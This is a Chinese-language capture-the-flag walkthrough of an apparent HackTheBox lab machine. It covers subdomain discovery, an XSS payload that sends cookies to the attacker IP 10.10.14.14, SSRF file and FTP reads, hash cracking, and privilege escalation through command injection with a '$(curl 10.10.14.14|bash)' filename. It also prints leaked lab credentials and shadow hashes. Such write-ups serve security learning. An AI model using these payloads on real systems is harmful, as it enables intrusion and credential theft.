基本信息

端口扫描

22,80,和一个过滤的6003:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV 10.10.11.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 13:32 CST
Nmap scan report for 10.10.11.15
Host is up (0.086s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
6003/tcp filtered X11:3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.01 seconds

80

需要加hosts:

1
10.10.11.15 comprezzor.htb

一个在线压缩工具:

另外页面底部有个report子域名,加到hosts

report

访问report尝试report会自动跳转到auth,同样添加hosts:

auth

auth有注册功能,随意注册登录后测试report功能:

子域名扫描

常规子域名扫描还可以发现一个dashboard:

1
2
3
4
5
6
7
8
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://comprezzor.htb/" -H 'Host: FUZZ.comprezzor.htb' -fs 178

[Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 92ms]
* FUZZ: auth
[Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 126ms]
* FUZZ: report
[Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 96ms]
* FUZZ: dashboard

添加hosts后测试,我们自己注册的账号无法访问dashboard

XSS

report那里的交互,基础xss(bot有问题很容易崩溃导致不成功,reset即可):

1
"111><script>var i=new Image(); i.src="http://10.10.14.14:7777/?cookie="+btoa(document.cookie);</script>

dashboard

得到的这个cookie可以访问dashboard,里面就是一些已有报告:

1
user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4

Priority xss

注意到有一个设置Priority的功能,根据字面意思可以猜测是上升到管理员处理

那我们再重新创建一个包含xss的报告,然后提升Priority,即可得到管理员cookie:

1
user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

admin

接下来修改为admin cookie,刷新dashboard:

SSRF

admin有一个输入url创建pdf报告的功能:

url存在检测,正常测试可以发现UA中python版本,存在绕过漏洞:

1
User-Agent: Python-urllib/3.11

SSRF

后面就是通过SSRF一步步读文件,dashboard里得到了ftp账号密码:

1
2
3
4
5
6
7
 file:///proc/self/cmdline
# python3/app/code/app.py
file:///app/code/app.py
file:///app/code/blueprints/dashboard/dashboard.py

ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')

ftp

那就继续ssrf访问ftp,得到一个私钥,welcome-note里也可以获取到对应的密码:

1
2
3
4
5
 ftp://ftp_admin:u3jai8y71s2@ftp.local
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt

Y27SH19HDIWD

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request, redirect 
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # Add more allowed file extensions if needed app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')

if __name__ == '__main__':
app.run(debug=False,host="0.0.0.0", port=80)

dashboard.py

pdf里代码给gpt调整了格式,和原本代码稍微有点区别:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
from flask import (
Blueprint,
request,
render_template,
flash,
redirect,
url_for,
send_file
)
from blueprints.auth.auth_utils import (
admin_required,
login_required,
deserialize_user_data
)
from blueprints.report.report_utils import (
get_report_by_priority,
get_report_by_id,
delete_report,
get_all_reports,
change_report_priority,
resolve_report
)
import random, os, pdfkit, socket, shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint(
'dashboard',
__name__,
subdomain='dashboard'
)

pdf_report_path = os.path.join(
os.path.dirname(__file__),
'pdf_reports'
)

allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()

return render_template(
'dashboard/dashboard.html',
reports=reports,
user_info=user_info
)

@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template(
'dashboard/report.html',
report=report,
user_info=user_info
)

@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] in ['admin', 'webdev']:
report = delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))

if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')

return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] != ('webdev' or 'admin'):
flash('Not enough permissions.', 'error')
return redirect(url_for('dashboard.dashboard'))

report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))

if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')

return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_
if request.method == 'POST':
report_url = request.form.get('report_url')
try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
dissallowed_schemas = ["file", "ftp", "ftps"]
if (scheme not in dissallowed_schemas) and (
(socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or
(hostname in allowed_hostnames)
):
print(scheme)
urllib_request = urllib.request.Request(
report_url,
headers={
'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'
}
)
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000,90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
except Exception as e:
flash('Unexpected error!', 'error')
return render_template('dashboard/create_pdf_report.html')
else:
flash('Invalid URL', 'error')
return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'

with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)

try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')
with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)
ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')
except Exception as e:
flash(f'Error: {str(e)}', 'error')

return redirect(url_for('dashboard.dashboard'))

user flag

现在我们有了ssh私钥,但还不知道用户名,简单搜索即可得到方法,对应的公钥中得到用户名:

之后使用对应用户名和私钥登录即可,第一次登录需要的passphrase也是前面已经得到的:

1
ssh -i private-8297.key dev_acc@10.10.11.15

信息

app目录中可以找到数据库文件,查看其中内容获取adam hash可以破解出密码:

1
2
3
4
5
6
adam sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43 webdav

sudo hashcat -m 1460 -a 0 'a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:Z7bcBO9P43gvdQWp' ~/Tools/dict/rockyou.txt

# 密码是这一串,包括前面的adam和中间的空格
adam gray

ftp

1
2
3
# 前面admin ssrf那里读hosts可以得到一些信息:
172.21.0.2 web.local web
172.21.0.1 ftp.local

得到的adam密码可以登录ftp.里面可以获取到一些文件:

根据文件中信息可以破解出一个密码:

1
2
3
sudo hashcat -m 0 -a 3 0feda17076d793c2ef2870d7427ad4ed -1 ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 "UHI75GHI?1?1?1?1"

UHI75GHINKOP

另外分析runner1.c的代码可以看到一些明显的命令注入,都是直接拼接输入然后system执行

run-tests.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

runner1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}

if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}

void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}

struct dirent *entry;
int playbookNumber = 1;

while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}

closedir(dir);
}

void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}

void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}

int auth_required = 0;
char auth_key[128];

for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}

if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}

if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}

struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;

while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}

closedir(dir);

if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}

return 0;
}

suricata

上一步得到的密码不能直接复用,根据用户名在suricata 日志中可以看到lopez的FTP登录,然后从中获取密码:

1
Lopezz1992%123

lopez

然后得到的密码切换到lopez,可以sudo运行runner2,需要输入一个json:

runner2

基础分析可以知道需要的参数和runner1基本一致,只是用了json格式:

测试运行结合逆向可以一步步构造出正确的json文件:

所以最终就是同样的利用命令注入来利用sudo执行任意命令

提权 & root flag

例如利用install那里的命令注入,runner2需要一个本地tar文件,先创建一个正常tar文件,然后文件名中注入

1
mv 1.tar '$(curl 10.10.14.14|bash)1.tar'

exp.json

1
2
3
4
5
6
7
8
{
"run":
{
"action": "install",
"role_file": "$(curl 10.10.14.14|bash)1.tar"
},
"auth_code": "UHI75GHINKOP"
}

index.html

1
2
#!/bin/bash
chmod +s /bin/bash

shadow

1
2
3
4
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$lLBxGx6iEU24F53iC/4GY.$njJxClEhidCwWmF9yQjsSChxZ38hN3fhU7N4YOPovt4:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::

参考资料